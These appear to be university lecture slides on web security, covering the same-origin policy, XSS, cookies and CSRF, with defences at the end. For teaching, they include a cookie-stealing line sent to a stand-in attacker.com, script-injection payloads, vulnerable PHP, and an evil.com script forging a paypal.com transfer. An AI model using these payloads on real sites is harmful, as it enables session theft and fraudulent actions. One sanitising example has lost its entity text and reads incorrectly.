Web Security

CSE 127

Web Attacker

- Owns attacker.com
- Can get an SSL Certificate for attacker.com
- Can entice the user to visit attacker.com
  - typo squatting e.g. gogle.com
  - social media link
  - phishing email
  - buy adspace
- CANNOT modify traffic in flight

Web Basics

- URL
  - scheme://[username[:password]@]
    (hostname|host_ip)[:port]/path/to/some/resource[?querystring][#fragment_id]
- Scheme
  - http (port 80)
  - https (port 443)

Web Basics: HTTP

- HTTP Request:

```
POST /fuzzy_bunnies/dispenser.php HTTP/1.1
Host: www.bunnyserver.com
User-Agent: Bunny-Browser 1.7
Content-Type: text/plain
Content-Length: 12
Referer: http://reddit.com/r/aww

HELLO SERVER
```

Web Basics: HTTP

- HTTP Response:

```
HTTP/1.1 200 OK
Server: Bunny-Server 0.9.2
Content-Type: text/plain
Connection: close

HELLO CLIENT
```

Web Basics: Javascript

- Javascript is provided by the remote server and runs in your browser
- Manipulates the page through the Document Object Model, or DOM.

```
<script type=”text/javascript”>
document.getElementById(“textBox”).value = “Placeholder”;
</script>
```

Web Basics: Frames

- Frames render another webpage in a smaller box on an existing webpage.

```
<iframe src="http://google.com"></iframe>
```

Example

An Example Attack

Source of evil.com:

```
<iframe src="http://coolsocialnetwork.com/resetPassword"></iframe>
<script>
var frame = document.frames[0].contentDocument;
frame.getElementById('passwordResetInput').value = "newPassword";
frame.getElementById('passwordResetSubmit').click();
frame.getElementById('logoutButton').click();
</script>
```

Does this work?

If so, how to stop it? If not, why not?

The Same Origin Policy

You can only read/manipulate the DOM of pages that have the same origin.

An Origin is a triple:

`<scheme, host, port>`

Exceptions to the SOP

- declassify into another origin (send out)
  - `(new Image()).src = “http://attacker.com/?c=” + document.cookie;`
- endorse content into your origin (pull in)
  - `<script src=“attacker.com/evil.js” />`
- can always read an image’s height, width

Web Attacks

The goal of most web attacks is to somehow get around the same origin policy.

Cross Site Scripting (XSS)

Somehow get the target website to inadvertently include your javascript in the page body, therefore allowing it to run in their origin

Cross Site Scripting (XSS)

- Reflected XSS:

```
http://example.com/search.php?query=...

<h1>Results for <?= $_GET[‘query’];?></h1>
...
```

Cross Site Scripting (XSS)

- Reflected XSS:

```
http://example.com/search.php?query=cats

<h1>Results for cats</h1>
...
```

Cross Site Scripting (XSS)

- Reflected XSS:

```
http://example.com/search.php?query=
<script>alert();</script>

<h1>Results for <script>alert();</script></h1>
```

Example

Cross Site Scripting (XSS)

- Stored XSS:

```
<?php
$posts = get_query(“SELECT * FROM posts WHERE id = 1”);
foreach($posts as $p) {
    echo $p->body;
}
?>
post: <script>alert();</script>
```

Example

Web Basics: Cookies

- A cookie is a value given to a user by a server, to be held onto, and returned to the server on all subsequent requests

```
server:
    Set-Cookie: name=value
    Set-Cookie: name2=value2

client:
    Cookie: name=value; name2=value2
```

Web Basics: Cookies

- Javascript also has the ability to view and change cookies.

```
<script>
    alert(document.cookie);
</script>
```

Web Basics: Cookies

- Cookies are the most common way to manage session
- When you login, the server will set a cookie so that you don’t have to enter your credentials again on subsequent requests
- The cookie is the authentication from that point forward

Cross-Site Request Forgery (CSRF)

Send a request from your site to another site, implicitly using the logged in user's cookies, and therefore acting on that user's behalf.

Cross-Site Request Forgery (CSRF)

http://paypal.com/transfer.php:

```
<form method=“POST” action=“dotransfer.php” >
    <input type=“text” name=“to” />
    <input type=“text” name=“amount” />
    <input type=“submit” />
</form>
```

Cross-Site Request Forgery (CSRF)

http://evil.com:

```
<script>
var http = new XMLHttpRequest();
http.open(“POST”,“http://paypal.com/dotransfer.php”,true);
... // some specific headers need to be send here
http.send(“to=jake&amount=$1000”);
</script>
```

Example

Defenses

- XSS
  - Sanitize your inputs and outputs
    - html entities: replace < with <, > with >, etc.
  - Be aware of where you place user-generated data
    - don’t put user input in scripts, tags, attributes, etc

Defenses

- CSRF
  - CSRF Tokens
    - For each form, generate a hidden input tag with a per-form session based token
    - When receiving form data, confirm the existence of the token
    - Token must NOT be static or guessable by attacker (random every time!)